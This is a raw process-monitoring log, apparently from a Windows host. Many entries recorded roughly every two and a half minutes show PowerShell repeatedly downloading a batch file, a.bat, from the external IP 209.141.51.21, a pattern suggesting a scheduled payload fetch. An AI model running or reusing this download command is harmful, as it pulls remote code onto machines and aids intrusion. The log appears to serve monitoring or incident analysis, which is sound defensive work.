PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:50:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:53:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:53:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:55:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:58:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:00:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:05:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:08:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:10:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:13:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:15:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:18:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:20:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:23:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:25:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:28:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:30:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:33:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:35:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:38:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:40:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:43:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:45:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:48:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:50:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:53:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:55:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 02:58:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:00:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:03:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:05:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:08:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:10:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:13:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:15:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:18:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:20:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:23:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:25:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:28:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:30:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:33:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:35:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:38:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:40:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:45:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:48:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:50:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:55:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 03:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:00:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:03:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:05:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:08:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:10:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:13:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:15:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:18:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:20:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:23:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:25:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:28:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:30:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:33:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:35:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:38:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:40:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:43:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:45:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:48:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:50:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:55:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 04:58:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:00:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:05:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:10:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:15:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:18:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:20:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:23:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:25:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:28:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:30:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:33:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:35:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:38:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:40:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:45:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:48:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:50:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:53:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:55:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 05:58:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:00:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:05:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:08:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:10:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:15:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:20:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:30:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:35:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:38:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:40:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:45:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:48:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:50:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:55:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 06:58:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:00:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:03:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:05:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:08:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:10:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:15:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:18:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:20:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 07:23:29 NOTIFY: PROCESS 